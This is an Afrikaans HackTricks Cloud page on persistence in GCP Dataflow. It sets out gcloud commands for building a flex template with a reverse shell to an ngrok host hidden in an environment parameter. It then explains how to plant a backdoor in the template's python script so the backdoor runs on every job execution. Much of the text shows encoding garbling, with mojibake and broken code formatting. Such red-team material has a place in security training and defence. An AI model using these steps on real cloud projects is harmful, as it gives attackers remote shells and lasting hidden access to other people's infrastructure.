GCP - Dataflow Persistence
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Dataflow
Onsigbare persistence in die geboude houer
Volgens die tutorial from the documentation kan jy ân nuwe (bv. python) flex template skep:
Skep Dataflow flex template met backdoor
```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_startedCreate repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY
Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT
ârepository-format=docker
âlocation=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev
Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
âimage-gcr-path âus-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latestâ
âsdk-language âPYTHONâ
âflex-template-base-image âPYTHON3â
âmetadata-file âmetadata.jsonâ
âpy-path â.â
âenv âFLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.pyâ
âenv âFLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txtâ
âenv âPYTHONWARNINGS=all:0:antigravity.x:0:0â
âenv â/bin/bash -c âbash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1â & #%sâ
âregion=us-central1
</details>
**Terwyl dit saamgebou word, sal jy 'n reverse shell kry** (jy kan env variables misbruik soos in die vorige voorbeeld of ander params wat die Docker file instel om arbitrĂȘre dinge uit te voer). Op daardie stadium, binne die reverse shell, is dit moontlik om na die `/template` directory te gaan en die kode van die hoof python-skrip wat uitgevoer sal word te wysig (in ons voorbeeld is dit `getting_started.py`). Plaas jou backdoor hier sodat elke keer wanneer die job uitgevoer word, die backdoor ook uitgevoer sal word.
Dan, die volgende keer wanneer die job uitgevoer word, sal die gekompromitteerde container wat gebou is, uitgevoer word:
<details>
<summary>Voer Dataflow template uit</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

